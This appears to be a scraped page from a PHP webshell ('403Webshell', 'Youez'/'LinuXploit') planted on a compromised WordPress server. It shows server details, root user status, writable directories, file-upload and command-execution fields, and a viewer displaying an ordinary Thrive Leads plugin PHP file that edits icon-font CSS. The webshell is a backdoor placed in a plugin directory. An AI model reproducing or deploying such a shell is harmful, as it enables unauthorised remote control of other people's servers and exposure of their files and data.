403Webshell
Server IP : 65.109.86.83  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/thrive-leads/tcb/db/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/thrive-leads/tcb/db/fontmanager-1.1.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit( 1 );
}

$icon_pack = get_option( 'thrive_icon_pack' );

if ( ! empty( $icon_pack ) && ! empty( $icon_pack['folder'] ) ) {
	$css_file = trailingslashit( $icon_pack['folder'] ) . basename( $icon_pack['css'] );

	$old_umask = umask( 0 );

	if ( is_file( $css_file ) && is_writable( $css_file ) ) {
		$file_contents = file_get_contents( $css_file );
		$font_family   = $icon_pack['fontFamily'];

		$file_contents = str_replace( "font-family: '{$font_family}' !important;", "font-family: '{$font_family}';", $file_contents );

		$search      = "font-family: '{$font_family}';";
		$replacement = "font-family: '{$font_family}' !important;";

		$position_found = strpos( $file_contents, $search, strpos( $file_contents, 'url' ) );
		if ( $position_found ) {
			$file_contents = substr_replace( $file_contents, $replacement, $position_found, strlen( $search ) );
		}

		if ( file_put_contents( $css_file, $file_contents ) ) {
			$icon_pack['css_version'] = rand( 1, 9 ) . '.' . str_pad( rand( 1, 99 ), 2, '0', STR_PAD_LEFT );
			update_option( 'thrive_icon_pack', $icon_pack );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit